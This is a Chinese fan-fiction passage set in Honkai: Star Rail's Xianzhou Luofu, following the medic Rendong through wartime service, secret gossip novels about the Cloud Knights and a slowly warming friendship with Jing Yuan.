这般,忍冬也
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对木姜先斩后奏的行为没有了太多怨念。
毕竟,虽然没有见过妈妈,但大抵是幼兽眷念母兽的情节作祟,她并不希望妈妈留在世间的唯一亲人晚年过得不好。
所以,忍冬稍稍打了个招呼,就开始去寻找自己作为学生,在这次临时招兵中的住宿点了。
这是一艘比她上次来罗浮时乘坐的那艘飞船还要庞大的飞舰,巨大的甲板上站着她这一届的学宫学生也只显得零零散散、空空落落。更别说那些穿着戎装的来往人员,他们有工造司的匠人,也有跟她一样的医用医士,脚步匆忙,气氛紧张。
看来后勤也不好待啊……
忍冬被分到了一个小组,以四人宿舍为单位。包括她,一位腼腆的仙舟女孩,和两个高冷不爱说话的持明族组成了这个后勤小组。
简单互通姓名之后,宿舍肉眼可见的安静了下来,无话可说。
忍冬有看见那个叫木药的腼腆女孩试图开口打破气氛,但很无奈,包括她和其他两持明在内,大家都没打算打好关系呢~
这个小组的氛围就这般定下了,冷漠,又机械,但绝对不会出现职责内的错误。
……所以,因为风评好被调到前线什么的……不该是整个小组吗?!!
躲在后方尽享安逸的忍冬没料到,自己的水逆期居然还没过去,在战争快要结束的关头又给她发了力。她,一个柔弱的医士,被调配给了一对在前线疯狂砍人的师徒?!
“芝玉!都说我去了!这小妮子水平不过关,让我去!”忍冬死活要跟过来的姥姥在这个时候开始给她上强度了,撒泼打滚的,非不让她上前线。
但,她难道还能让这个腿脚都不太灵活的老太太上前线?!
忍冬一口答应了下来。
这大抵就是她在这扑面的浓郁血气中木楞无神的原因。实在是,情绪太霸道,让脑子离家出走了……
“明明推另外两个讨厌的持明上来就好了,为什么记不起来?脑子为什么要在那种时候死机?啊,那老太太,我回去一点要给她找更多事……这才能安慰我破碎的内心……”
忍冬碎碎念,碎碎念,在快语速和不间歇的念咒之下,没有人能听清她在说什么。但她身旁护卫的云骑都能感受到她情绪的压抑,并开始交头接耳。
“是拨给龙尊的助手……吧?为什么这副情绪崩溃快要堕入魔阴身的模样?”
“你不知道?虽然名头是龙尊的助手,但实际是镜流大人的专属医士。镜流大人嘛~你懂的~”
“那……确实挺值得崩溃的。还是刚出学宫的小孩吧,这就要面临抑制魔阴身的死局了啊……”
“是啊~”
“是什么?”一道突兀出现的低沉男声好奇询问。
没有戒备的云骑理所当然地转头回答说:“当然是……是、是景元大人?!!”
破锣嗓子尖叫出的人名,把忍冬的魂给叫了回来。她跟另外两人一起,看向了来者。
是在战场上打出智将之名的剑首徒弟,腾骁将军预定的下一任接班人,短时间内风靡罗浮的云上五骁之一——景元!!
问忍冬怎么知道?嘁,大概是这什么五骁之二,约莫都跟她有点渊源,单方面认证版。
一段短途旅程,和学宫同学?啊~还有好玩对象!
忍冬看着笑得神秘莫测的景元这么想,面上半点不露,一脸稳重模样。
但那景元的眼尾却笑得更为纤细了,有了点儿仙舟上那些老狐狸的味儿了。
笑什么啊……
5. 认识
“这位……医士小姐?不知可否了解你的名字?”景元笑吟吟地询问走在身旁的忍冬,一副初次见面的模样。
虽然,他心里莫名涌现的温热告诫他,一年过去,他那略显低劣的情绪尚还未褪去。且,已预感到了日后的庞大。
忍冬轻蹙了一下眉尖,又很快松开了。
她带着点隐秘的探寻转眼看入景元那双清透的金瞳,尾音轻扬,回应说:“我叫忍冬。”
其间,忍冬的眼神一直很符合仙舟人的接人待物标准,故作认真的看着他。但最主要的,还是她想观察一下景元的反应。
毕竟智将之名实在闻名,让她不得不怀疑,景元这番问名,是否已经有了老年痴呆的症状。
但景元全程一副初次见面的模样,温和,毫无错漏。以带着一点友善,试图拉近距离的语气介绍自己说:“在下景元。”
“我知道,学宫的前辈。”忍冬故作羞涩敛睫,避开了景元一直温和直视着她的双眼,也避开了他试图拉近距离的举动。
忍冬以前觉得让他变脸很有趣,但现在她也明白,今时不同往日,景元已经不是她刚来时可以口花花的存在了。
所以为了防止自己绷不住时坏事,最好就是塑造自己内向安静不爱多话的人设。这样,既防止了他想深交的意图,也防止了她以后被暗杀的可能。
尽管,忍冬也知道,能被安排到罗浮风云人物身边的自己,可能已经被人查了个底儿朝天。相关资料还可能已经摆上了身旁这人的办公桌。
但,已经到了战争末尾,拼着脸皮不要,只要坚持!就是胜利!
“那么,忍冬小姐,家师和我,都拜托你了~”景元自出现在忍冬面前,唇角一直挂着细微的笑意。但在说这话之后,忍冬不知是眼花还是自恋作祟,她居然觉得这人嘴角的笑意好像更为灿烂了?
看来这一年看书有点伤眼了,回去之后去找姥姥看看吧……
心里想是这么想,但表面上,忍冬还是踟蹰回了景元一声:“好、好的。虽、虽然我现在只会一些简单的包扎……”
气势之弱,简直像只吃草的小白兔。
但拿着有关她从E-703星球出生以来所有资料的景元却笑得更真心了。毕竟,小白兔有什么意思?长着尖爪的毛茸茸小野猫才有撸的乐趣,不是吗?
忍冬走在景元的身边,一瞬间却有一种被什么食肉动物盯上的感觉,毛骨悚然中,她感觉全身都被一股幽冷的电流过了一遍。
所以,瞬间控制不住露出了狠厉警惕的表情,脑袋四周晃了一圈。
对上了笑意温柔的景元,表情突然就僵掉了,那股窥伺感也消失不见。
糟糕……还说要装一装的,现下就原形毕露了……
景元就好像没看见忍冬的变脸大戏一般,温和地问她:“怎么了,忍冬小姐?”
“没、没怎么……”忍冬干巴巴地回,不知道是该继续装,还是破罐子破摔不演了。
但她面前这人就像眼瞎了一样,对她的态度依旧前后如常,还对她眨了眨眼,一脸真诚倾听的模样。
可是……智将可不会忽略这般明显的前后差异。
那么,她的资料,全部,包括命途力量,这人都知道了吧……
忍冬不装了,眼神幽幽地看了一眼景元,转身越过他,无言地继续向前走。
可她身后紧接着跟来的脚步声却不放过她,声音主人嗓音含着清冽笑意询问道:“忍冬小姐?脸色这般剧变,可是不适应这前线的氛围?”
忍冬也假意礼貌地幽幽回道:“并没有,景元大人,还是快些加快步伐吧,我想快些上任。”
接着,她就听见她身旁这人爽朗地回答:“哦?这般吗?那倒不用急了,毕竟忍冬小姐你是真的只用负责家师跟我啊~”
晴天霹雳……倒不至于。只不过忍冬脸上的木然更多了而已。
“这样吗,那景元大人,你有病吗?”忍冬毫不掩饰地问出了声,但她心里理直气壮得很。
作为医士,她这么问,有问题吗?拉高嗓音质询道。
“暂时没有,但以后就有了。”景元摸棱两可应道。
忍冬没有再接话茬,毕竟就差明面上扒掉底裤了,她是有多想不开,继续跟景元言语交锋。
但这不妨碍她在心里对景元哔哔赖赖,一箩筐的黑心肝、笑面虎、白毛狮子之类的绰号是张口就来、啊不,在心里徘徊。
而且,忍冬还吐槽景元说的‘以后就有了’这句话。毕竟以后?仙舟人的以后可长了!难道这人还打算把他到魔阴身之前的小毛病都托付给她?!只能说,想得挺美!
*
在心里骂我吧?
景元看着前方闷头走着的忍冬,眼里的笑意遮也遮不住。大抵少年人的坏心眼总爱对着自己在意的人而去吧,他也不例外。
而且,他也能猜出忍冬猜测的内容,约莫跟她的命途有关吧。
要不是他在她一到仙舟之后就开始关注她了,还不一定能看出她命途的问题。嗯……也算不上问题,只不过在现下的关头容易成为被人攻击的砝码而已。
但不用很快,她的命途将不再是问题。
景元和忍冬并排走着,身后是护送他们的两个云骑。但这番前言不搭后语的猜测和行为表现,只能让身后说过小话的两位云骑感觉,不愧是智将,真是神鬼莫测!
总而言之,没听懂。
而通过这番心理交锋的消耗,他们很快就到了最前线仙舟军队驻扎的地方,赶上了最后一战的胜利。
曾见过的白尾狐人白珩一身细碎的伤口,脸上糊着不知是谁的血肉。搀着看起来稍算整洁但明显力竭的镜流剑首,笑着走向了景元这边。
本来忍冬看见镜流那副无力的样子,已经打算做好医治准备了的。但无奈云上五骁,其中还有一个拥有治愈之力的龙尊,实在没有她的用武之地。
所以,她默默的、默默的,落到了景元身后。
嗯……说是这师徒二人的专属医士,倒不如说她是景元一人的专属小跟班兼跑腿小助手。
第不知道几次给景元送去文件、智囊袋、养护明目茶等公事的、私人的快递之后,忍冬彻底佛了下来。并开始跟接上头的焕蓝一起,暗搓搓开始了对顶头上司的批判,括弧,小作文暗害造谣之旅。
焕蓝虽然内心忐忑,但搓着爪子的动作怎么看,怎么激动难耐。毕竟,她白珩表姐在平常是一个很好的亲戚,但作为顶头上司的时候却是一个大麻烦。
“她一次次开飞槎就像在开送往幽冥司的外卖盒子,像身后有鬼在追一样!一点也听不进去劝告!这次也是!明明都跟她说要以自己为重,她就是不听!又一次飞槎坠毁!我老妈看到又给我来了一流水的谴责信!讲讲道理好不好?我能劝得动她吗?!”
“白珩是吧?!云上五骁很牛是吧?!看我不给你们编出个狗血大杂烩!
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!”
明明开始忐忑的是她,现在手指飞舞停不下来的也是她。坐在她身旁写着景元狗血文的忍冬不忍直视,连对文内套着一层景元皮的主人公下手也开始迟疑了起来。
毕竟,以焕蓝那副炮轰态度,她毫不怀疑景元也会是其中的重灾区。要是暴露了……忍冬猛摇头,把这个恐怖的想法甩出了大脑。
但接下来她下手起来,就温柔了许多。
但也没温柔到哪里去。
*
这场持续多年的丰饶民之战结束了,仙舟奠定了寰宇内的声望,也让这场战争的最大功臣——云上五骁打出了名声。
所以,火起来了呢……
回到学宫的焕蓝依旧躲在演武场的角落,但她面前摆着在前线时跟忍冬编排的云上五骁狗血文,一脸惊恐地紧抓着忍冬的手,瞳孔地震,声音颤抖,颤巍询问道:“你说……被发现了,我们会被打死吗?”
忍冬稍稍翻开焕蓝写的那本狗血文一角,看了一眼立马撇过头。转脸保守地回答道:“你可能会,但我不一定。”
焕蓝脸色大变,双手啪地紧捏住忍冬的肩头,脸色狰狞,慌张又气愤地质问她:“我们一起写的!为什么我会,你不一定?!”
忍冬的脸被焕蓝固定不能动,但她的眼神游移开了。能动的手指了指焕蓝那本封面上指代性特别强,且炮轰地图的五个人物,无言中表达了一股‘你细品’的悲凉命运感。
焕蓝整个人彻底变成了灰白色,魂也从头顶飞了出来。
忍冬轻易挣脱开了她的钳制,眼皮轻敛,看着焕蓝那本狗血文旁另一本一同火起来的内涵文学,不忍直视。
套皮……对那个人来说,可是能轻易看透的。
唉……早知道就不那么冲动了,起码得等离开的时候再写,那样那人才可能发现不了。现在的话……真的得等运气了。
帝弓司命大人,保佑她不被发现吧……
忍冬诚挚祈祷。
*
景元家庭院内一角凉亭,白珩又带着镜流来串门了。
但以往会依礼出门迎接的景元这次却没出现。
白珩好奇啊,带着镜流悄摸着找了过去。就在凉亭这里发现了沉迷看书的景元。
白珩坏心眼大起,对着镜流竖了个噤声的手势,然后,“哇啊!!”
景元手中拿着的书瞬间被他甩飞,猛回头瞪着白珩的眼神也十分慌张犀利。
虽然再看清人的时候快速收回了那情绪波动很大的眼神,但白珩是什么人?狐狸,犬科!一点点不对劲就会被这人嗅到。
所以,当机立断,白珩判断出是那本书的问题。景元也意识到了。
两人速度同样快地向地上那本书抓去,一人扯住了一边。
白珩在抢书时分神打量了一下,就是一本很正常的书,看起来是战争结束这段时间流行起来的。
但还没等她看清书名,景元已经趁着白珩分神这间隙,手一挑,故作失手地把书掉到了凉亭一旁的水池内。
他还在书掉落的时候悄然送了一点力,让那本书落到离岸很远的地方。
景元很满意。毕竟以狐人不喜水的特性来说,白珩姐绝对不会费力下去捞!
“哎呀~落水了呢~”景元笑眯眯地以这句话作了结,让白珩的狐狸牙磨得咯咯作响。
至于书?咳!景元表示,他还可以再去买一本。
这次,收藏!
6. 结业
又是一天懒散日,在回来后,忍冬默默无言的开启了摆烂之旅。
好吧,也不是摆烂,只是因为她写的那本披皮小说大火了,已经给她赚到了人生的第一桶金,她不想努力了。
焕蓝在担惊受怕了好长一段时间之后,渐渐缓了过来,并在今日出现在了她常待的角落。
她低头看着像只软泥动物一样自然占据了她位置的忍冬,脸色几番变幻,最后也只是不爽地蹲下来,伸指戳了戳忍冬懒洋洋的脸蛋,说:“好你个厚脸皮小妮子,我在外面遭受景元和白珩姐的迫害,你倒好,睡得很香啊?”
忍冬慢吞吞掀起眼皮,双目无神地盯着她看了一小会儿,像才认出来人一样,慢悠悠支起上半身,手腕蹭了蹭脸颊,声调拉得老长:“有什么办法嘛~谁叫你开地图炮还不掩饰,就像我,你看景元发现了吗?再说了,你这段时间不是忙着毕业嘛,很忙的。我体谅你,你居然还指责我,真是丧良心的狐狸。”
言辞凿凿,理直气壮,焕蓝戳脸的手瞬间变换姿势,拧住了忍冬脸上一小块肉肉,不掐,就这么夹着,拉长,啪!弹了回去。
“你好像忘记了,我知道那本书是你写的欸~我还认识景元。”
焕蓝幽幽的声音就如同这懒散午后突降的一场冰雹,砸得忍冬眼冒金星。
她瞬间爬起,热情地拉住焕蓝的手,一脸不舍地说:“焕蓝前辈!庆祝你结业了!真舍不得啊~”
焕蓝眉梢跳动,伸指戳开忍冬凑过来的那张虚浮热情脸庞,无语至极:“你就算演我,好歹也真心一点吧?这么假,塑料味都快溢出来了。”
“没办法嘛~以后我打算当家里蹲来着,不用看别人脸色,不打算精进演技了。”忍冬被焕蓝轻飘飘一戳,就又倒了回去,懒洋洋,慢吞吞,就跟睡懒觉的猫没什么两样。
焕蓝也顺势倒下了,靠在忍冬摊开的肚皮上,眼睛看着罗浮上空虚构出的蓝天白云,轻声问她:“真不打算进丹鼎司?”
“嗯。”
焕蓝释然笑了:“不进也好,丹鼎司未必适合你。只是,有人要失望了~”
忍冬抓了抓被焕蓝的头发扫到发痒的肌肤,抬手推了推她,继续懒洋洋回应道:“随便吧……”
但说是这么说,未来的忍冬还是走上了行医之路,就是人的名声多少有点儿古怪起来……
“话说,如果不是因为这次丰饶民之战,焕蓝你本该老早就毕业了,对吧?”忍冬眯着眼随口问道。
焕蓝双手安分交叠在腹部,眼睛也空茫地望着天空,也随口回:“差不多吧……”
“那,景元是怎么回事?”忍冬还是问出口了。实在是不吐不快啊!本来以为没什么特殊的人,却在一毕业就成为了风口浪尖的风云人物,还拜了剑首为师,这合理吗?!是过时好久的大男主剧情啊?!
焕蓝向后仰起脑门,露出光滑的额头,眼神带着些许调侃,说:“你果然问出口了呢~原本还以为你没在前线问我是不在意呢~没想到啊~憋够狠啊~”
忍冬一把揪住躺在她肚皮上的那对蓝色狐耳,冷静告诫:“焕蓝。”
“好好好~我说!”狐人的耳朵和尾根是很敏锐的地方,所以,当忍冬扯着它们时,焕蓝的感受就特别清晰,忙不迭求了饶。
“我们这一届你也清楚,赶上了不是。所以本该早早结业的我们能在保有学宫身份的前提下活跃在前线,但实际上,我们都算已经毕业了的。而在此期间的选择,并不会在我们在学宫正式结业之后烟消云散。所以,景元早早就已经加入了云骑骁卫的选拔并入选了。并在我跟你在学宫侃大山的时候,已经显露了锋芒。”
“长篇大论不想听……”
“总而言之,景元那家伙是个颇有天资的卷王!所以出头是迟早的事!”
“那确实挺早啊……”
忍冬想到已经在大街小巷流通的那些以所谓的云上五骁为主角的小说,神情复杂中却也隐含了几分沉重,因为真的算得上是天壤之别啊……
但还好,她也算得上长生种,天资不够,时间来凑也是可以的~
*
时间就这么流逝了,短暂的和平确实给仙舟带来了一息喘息之机,但它并没有久筑。
跟随而来的是丰饶令使倏忽开启的又一次战乱。这次,就跟仙舟人寿限相比,好似昙花一现的云上五骁在出名百年,迎来鼎盛的同时,也为之后的彻底离散埋下了祸根……
外表青春靓丽,实则年岁已经几十岁了的女子穿着讲究的青色旗袍,披着毛边的坎肩,黑长发在脑后用一根素雅的丝带懒散束起,零碎的黑发落在白皙的脖颈和脸颊旁,黑白相衬,极尽妍丽。更别说那双猫儿似的碧色双眼,好像时时刻刻都含着笑意,于眼尾拖出一条细纹。
但要说最引人注意的,莫过于其人鼻梁侧边那颗红色小痣,细小却又引人注目,使这青色烟雨里无端多了丝靡丽。
她漫步在长乐天一家隐蔽角落的书肆中,指尖一排排滑过书架上那些让仙舟老古板光闻书名便该大叫伤风败俗的书脊,眼含着笑意对瘫在柜台上的书店老板略带调侃地说:“啧啧~看你这架势,又被家里人逮住一阵念叨了吧?”
书店老板颓丧得常年竖立的狐耳都耷拉了下来,尾巴死沉沉的拖在身后,脸埋在臂弯中,有气无力应了一声:“是啊……”
焕蓝抬起自己那沧桑的脸蛋,眼睛直视着那边披皮挂相的黑心肝好友,试图唤起这人一丝丝的怜悯之心。
但忍冬早已看透了焕蓝的把戏,不为所动,只从书架上抽出了一本挺合心意的书翻开了。
焕蓝幽幽叹气,宛如吊死鬼在耳边念叨一样,对着不听她说话的忍冬就是一顿输出:“云上五骁啊,全是别人家的孩子多好!为什么其中要有我的亲戚呢?!害我毕业后只要一打开玉兆的消息,全都是有关她的!比比比!我还没拿老妈他们跟白珩姐比呢?!想生凤凰蛋先自己变凤凰好吗?!”
忍冬挑眉看了她一眼,不动声色,但眼神兴味满满,不时附和一声引导着焕蓝说下去。
“还有啊!我不是一毕业就开始办自己的期刊了吗?!虽然前些年确实没什么水声,但现在不是好多了吗?!为什么他们还是想要我去报考云骑骁卫啊?!我好不容易才从战场脱身,这父母倒好,巴不得我上前线,跟白珩姐
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一样,用生命在死神刀尖跳舞!我可是听说了的!丰饶令使又有异动了!!”
忍冬听见这话,指尖翻着书页的动作停下了,转脸直视着焕蓝,神色略微凝重地询问道:“消息来源保真吗?又要打起来了?”
“是啊……”焕蓝刚提起的愤怒激情在忍冬问这话的时候彻底泄下了,神情蔫蔫。
两人都沉默了好一会儿。
对于前一次的丰饶民之战,忍冬只窥见了一角。但仅仅这一角,就足够让她浑身血冷的了。毕竟虽然作为后勤,但手中不断过手的病人,以及同去又默然消失的同期,都向战场上的每个人揭露了这是个什么样的世界。
“才不过几十年吧……”忍冬呢喃。
“是啊……才几十年……”焕蓝低声应和她说。
没有话语权的仙舟人知道了又怎么样?虽然前一次战争的伤痛还未过去,但他们永远需要继续向前。
这一次,换忍冬他们这一届耽误结业了。这一耽误,生生把忍冬的医用学籍给卡没了,也……让她姥姥在战场上堕入了魔阴身……
作为学宫未结业学生,丹鼎司编外人员,忍冬这些年一直在后勤打转,医术提高的同时,武力值也提升了不少。
所以,她能一次又一次的忽视丹鼎司内部就差直戳到她眼前的枝桠,带着金色银杏叶和令丹腑躁动不已的危险感觉。
真是的……错漏百出啊……
忍冬很想彻底脱离丹鼎司,但无奈她家老太太也被征召回来了,她得看着点儿,别被丹鼎司这蛇鼠一窝给吞了。
所以拉拉扯扯的,又过了好些年。
然后……倏忽之乱爆发了。
老太太当着她的面堕入了魔阴身,被她……亲手杀死了。
当身旁的人就像掉入绞肉机一样不断死亡,不断堕入魔阴身,却也奈何不了那无法理解的丰饶令使倏忽的时候,一辆飞槎宛如一轮黑日撞向了倏忽,黑日大盛,一切皆亡。
她失去了这世界唯一的一个亲人,云上五骁失去了白珩,很多人失去了他们的亲人、爱人、朋友……
仙舟虽胜,但也只是惨胜。
“所以说啊……这世界烂透了……”忍冬怀里紧抱着那仅能看出人形的怪物,眉眼间挂着温柔笑意,但眼尾却有泪水不断滑落。
她抱着那失智怪物,紫幽幽的毒素不断注入,在怪物不断复生又不断死亡中,亲手送了老太太一程。
等怀里的动静微弱以至没有之后,忍冬才得闲抬眼扫了一圈周围。
浓郁到刺鼻的血腥味,压抑痛哭的悲鸣,残垣断壁,破败十里,她还看见了最前方呆滞僵立的焕蓝、景元、镜流……
好多人啊,好……痛啊……
忍冬只能放任自己浑噩一周,一周之后,她又将继续自己的生活。
但……丹鼎司真的不能待了。
由于倏忽已死,接下来的小规模冲突中,忍冬彻底放开了手脚,冲到了前方,大肆挥舞起了毒鞭。
她的命途虽为丰饶,但绝不是药师那般的普度众生。生我给予,死,我亦给予。
忍冬彻底从学宫医用科结业了。
7. 龙狂
忍冬自小就知道自己是不被期待的孩子。
母亲因诞下她而放心奔赴战场,父亲因她的出生而导致母亲在战场死去耿耿于怀,而母亲的家人更是在知道她跟父亲这个偏远小民有了关系之后彻底断绝了消息,直到母亲身亡,尸体被悄然接回了仙舟。
所有人都因自己的私欲让她出生,但所有人都不珍视她的出生。
人类,是欲望的戏谑之兽,只遵从本心,无关他人生死苦痛。
就算在大环境的倡导下披上假皮,可谁能辨别那到底是为了让自身融入社会而作的伪装,还是真的是那般心怀善意之人呢?
所以,忍冬只看一时的行为,只做一时的判断。
“那么,芝玉姥姥,你,又知道多少呢?”
从战场回来之后,忍冬不顾自身不轻的伤势,立刻找上了后勤收敛部,把那小团沉眠的木藤球交给了他们。
那是这几十年真切教养她、爱护她、陪伴她的姥姥。
虽然她知道姥姥对她多少有点爱屋及乌,但没事儿,多少人连对她爱屋及乌也做不到。
所以,她会给她一个仙舟人期待的结果,作为尚有神志的人类沉眠。
忍冬虽然眼睛一直看着束缚着姥姥肉身的木藤球被带走,但战场磋磨紧绷的神经可没有放过悄然出现在她身后的那个人。
……一个,本该受到倏忽影响,却仍然维持人貌,体态轻盈健康的老人。
见她回头,那人日常肃穆的脸勾起了一抹轻蔑笑意,眼神带着欣赏地上下打量了她一圈,说:“不错~没想到木姜那老东西居然有这般好运,这捡来的孙女居然有这种能力。丫头,慈怀药王的恩典可赐予你,等你有所参悟之时,那老太婆也不是不能再醒过来。”
忍冬抬起眼皮轻睨了一眼面前这嚣张跋扈以致面容狰狞的老太婆,幽幽叹气:“你不该离我那么近。”
话音刚落,不详的紫雾便如同潮水一般,从忍冬四周涌了出来,直扑过去包裹住了芝玉,就如同食人花一口吞下送上门的小点心一样,瞬间,了无声息。
“毕竟,植物也吃肉嘛~”
这里是仙舟人死亡、堕入魔阴身的收容处,是悲伤与绝望齐聚之地。所以,幽幽阴气也蔓延在周围,无人可愿接近。
如同毒藤静谧滋生此处,无人可察的角落,白发骁卫只能静默地看着那株毒刺渐生的花蕊,金眸黯然。
一切很快结束,但水面下的隐流却逐渐激烈起来。
仙舟第三次丰饶民战争大捷,伴随着欢呼声,忍冬陷入了隐秘的围剿之中。
古老的仙舟啊……有多少人尚还不满足,有多少人又在等待着吃掉身边才笑对过的人呢?
忍冬这个失掉所有亲骨的外来仙舟人,在自觉离开丹鼎司之后,不断在生活中发现时不时的窥视,和遭受时不时的突袭。
虽然稍有麻烦,但对于命途力量已经成熟的她来说,这些只是来送菜的小点心。
只不过……
“又是你。”
忍冬对于面前这位眼熟至极的云骑骁卫,眼神迷惑中地透露出了几分怀疑和不解。
毕竟就算是在仙舟这种跟丰饶民矛盾丛生的地方,她这一天天打人举报的作风,也实在是很令人怀疑的。
本来在第一次那么做的时候她就在等着人上门抓她了,但没想到,风平浪静的,就跟她是一个寻求帮助的普通仙舟市民一样。
直到一次次都是这个眼熟的面孔出现在她面前,她就知道有人帮了她。
大概……是景元吧。
焕蓝已经失魂落魄好长一段时间了,注意不到也帮不到这种地步;丹鼎司的路子被她自己亲手封死了;学宫也没有其他熟识之人。
只有景元了……
可……白珩的事……
忍冬轻晃了一下脑袋,心底悄然松了一口气。
大约是因为还有人在记挂她,也大约是发现仙舟没有不堪到看不见未来的地步……
忍冬抬眼看着面前虽然一脸坚毅,但还是从眼底透出几分心虚绝望之意的云骑,试图笑笑,啊、脸太僵了,做不到。
所以她面瘫着脸说:“这些都是潜伏在仙舟的丰饶孽物,此前由于我击杀了孽物芝玉引起了他们的注意,所以才屡次前来骚扰。但既然景元前辈已经注意到了,也没有让我闹大,大抵是有自己的主意,我便不多问了。只望此后前辈若要再行这般善举,还望告知于我。忍冬实在愚钝,离开战场之后脑子已经无法折腾此中真意了。实在感谢。”
说完,忍冬抬眼直直望向开始眼冒金星的云骑,平静地问:“记下了吗?”
“啊、啊?哦、哦哦!明白明白!但……忍冬姑娘可否再说一遍?在下记性实在不好,不然也不会舍了工造司的职位来当云骑了……”云骑小心翼翼地辩解,眼神谨慎又带着点鬼祟地大胆‘偷’睨她,简直是当着本人面班门弄斧。
忍冬眼尾瞟过不远处墙角一晃而过的衣角,无言了一会儿,对云骑说:“不必了,你只管回去就是。景元前辈他明白的。”
“明、明白?景元大人又没在……”云骑为难地当面嘀嘀咕咕,手中牵着忍冬刚递给他的木藤,穿着一串人,熟练地掂量着攥紧了。
“他可是智将,在与不在又何妨?你只管去,被骂我担责!”
忍冬硬气地说,随手拍关了门:“回见!不送!”
但门关上了,忍冬却没有离开,就这么靠着门板,眼神空茫地打量着这从木姜老太太手中继承而来的小院,身体渐渐下滑,双手抱住了自己。
“我本来就没什么心气,所以,你不能怪我逃避……”她对着空无一人的小院说,神情难得看出了几分跟幼时初到仙舟之时相似的神态,几分忐忑,几抹不安。
但会嘴毒把她从地上叫起来的人已经不在了……
忍冬变成了一个懒散度日的家里蹲。
然后……畏惧之心大减,重拾了几十年前写披皮小说的账号,开始了激情编排。
托娱乐业发展的缘故,她的小说事业能够转移到玉兆上,不用出门直面可能又可怕的当事人,毕竟……现在算得上是邻居吧……
手指激情飞舞的忍冬想到这里,眼神谨慎地探头望了望小院不高的院墙,好像已经能看见那突然搬到旁边的仙舟白毛狮那一脸似笑非笑、老谋深算的脸了。
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>不过,那是不可能的。
忍冬收回视线,想到由接触过的持明族和云骑骁卫的言行之间展露出来的东西。云上五骁剩下的四位中,大抵会有人难以接受并试图做些什么吧?
景元是个聪明人,她能明白,他也一定明白。但能不能阻止的了……以罗浮如今人心涣散的模样,只能祝他能得偿所愿了。
忍冬理智地想,碧绿的瞳孔印着面前闪着白光的屏幕,一脸漠然。
就如她预料一般,在忍冬狂写自己人生中的第二部小说,不披皮版本时,罗浮鳞渊境发生了一起惊人罪行,饮月之乱。
罗浮龙尊丹枫伙同朱明怀炎将军的天才短生种徒弟应星,以烈士天才飞行士白珩的毛发混合丰饶令使倏忽的血肉,以持明族的化龙妙法制造了一条孽龙,导致鳞渊境的持明龙卵彻底破裂了一批,持明族人口又遭重创。
且帮凶应星也被倏忽血肉感染,化作丰饶孽物,失去神智;斩龙者镜流堕入魔阴身,失去踪迹。
罪魁祸首二人,皆被压入幽囚狱看押。
此劫,云上五骁之名远去,唯余景元将军活跃人前,开启了统御罗浮八百年的平静时期。
忍冬看完了相关的报导就放下了玉兆,她扭着脖子起身,手一伸展,便是噼噼啪啪的骨节响动。她眼下挂着淡淡的黑青色,长发就这般散披着出了门,左拐,礼貌敲了敲门。
连一分钟都没到,她又抬手,继续敲,笃笃声连续扰民。
“……谁?”困倦至极的男声带着几分惊醒的低哑,慢悠的脚步声渐渐接近了门口,吱呀一声打开了这仙舟特色的朱红色木门。
长大后的忍冬一米七左右,算是个身材高挑、手长脚长的美人,虽然这个美人也跟面前人一样一脸要猝死过去的劳累模样。
景元低眸,看着不请自来,一脸气势汹汹好似要上门讹诈的忍冬,额前睡翘起的鬓发困惑地摆了摆:“忍冬……有事吗?敲得那般急切……啊哈~”
说着说着,景元忍不住当面打了个哈欠,眼角也溢出了些许水花。
忍冬本来要说话来着,但被景元打哈欠一带,良久的困倦就涌了上来,让她也掩不住地捂嘴打了起来:“哈啊……唔,没什么事,主要看你哭没哭,哭了的话,我想照几张照片收藏一下。知道你现在当将军了,不会散出去的,就收藏。”
忍冬当着本人的面大言不惭道,一脸好像她不是突然上门找景元要私人照,而只是来打个招呼的平常样。
景元眨眨眼,眼尾一弯,笑了:“唔,没哭来着。但不哭的照片不可以吗?”
忍冬语塞。哑口无言地看着试图向她推销自己不哭照片的景元,一脸空白。
毕竟她只是想找个借口来看看景元,怕这家伙心理脆弱来着,至于口花花……那是大脑疲倦之后管不住嘴,但照片的话……
“可以啊~你真给吗?”
“唔……”景元垂眸沉思了一下,抬眼直直看着忍冬,笑意温柔地说:“真给,但你的也得给我。”
交换人质吗?!阴险!!
虽然这般想,但忍冬无法再改口了。
毕竟……是她先开口的呢……呵呵……
8. 熟识
那次照片事件就像打开了忍冬拒绝接近的围墙,之后只要景元无事,都会主动上门拜访。
忍冬虽试图拒绝,但每当景元笑眯眯提起他们是可以互换照片的关系时,她就不得不打开门,摆出茶杯和点心招待他。
毕竟,是将军呢……
还是个很受欢迎,照片可以卖出天价的将军呢……
虽然她不会把照片拿出去卖……
怎么想都亏了啊……
所以,每次一把景元放进来,她就坐在一旁一脸不爽地拿着玉兆疯狂打字。后来还特意去罗浮的旧货市场淘了一把古旧的机械键盘,打字更是实打实的噪音攻击。
……但景元不为所动,还能悠闲闭目养神。
心情更不爽了呢……
忍冬发泄小脾气的举动更为大胆了,直接开始悄摸对景元动手。包括但不限于用藤蔓给睡着的他扎带蝴蝶结的小辫子、悄摸在他脸上画猫咪胡须,还有,收集市面上的景元小黄本直接摊在他面前。
但都不为所动呢,也不生气,下次继续来。
“你真的跟猫科很像啊……”忍冬看向睡在姥姥原来的摇椅上,但距离拉得跟她越来越近的景元,忍不住说道。
景元闭着眼,阳光半明半暗地照着他的下半张脸,长过眼际的额前碎发滑到脸侧,露出了那双安详闭着的双眼,并在忍冬看过来时一下睁开了。
金灿灿又暖融融的,既像通透的水晶映射人心,也像暖色的太阳,引导着目之所及。
但忍冬觉得不止于此,他看她的眼神,有很多时候都让她感觉无所适从,太刺眼了?
忍冬避开了他的视线。
景元躺着眯了眯眼,向忍冬的方向歪了歪头,那雪白的长发就这么挤挤挨挨地滑落了一些,被忍冬捞在了手心里。
“……是吗?”拉长的懒洋洋调子,让人能真切感受到说话者的悠闲跟舒适,跟忍冬印象中绵软懒散的猫科更像了。
她不自觉捻了捻手心的白发,是很柔软但又很有韧性的发质,摸起来也像E-703星球上的那些猫咪毛发,顺滑柔软。
然后……某人直接把压在身后乱成一团的长发一股脑全交到了忍冬手里。
“帮忙梳理一下,谢谢~”
忍冬拿着那根束发的红色绸带,眼神默默移到了一脸安然闭上眼的景元脸上,无语地盯盯盯——试图给他眼神的压力。
但他只是睁开眼,一脸恍然地换了个靠在扶手上的姿势,把那一头披散的白发连同后背露给了她。
你以为我是叫你换个姿势吗?!
忍冬气鼓鼓的,手指直接插入了白色长发间,就这么扒拉着给景元扎了个低矮的马尾,还是蝴蝶结贤惠款……
忍冬移开眼睛,在心里默默祈祷不会有人闲的没事儿去问景元。毕竟,是化外民传来的虚拟影像故事中最经典的少妇侧边低马尾呢……
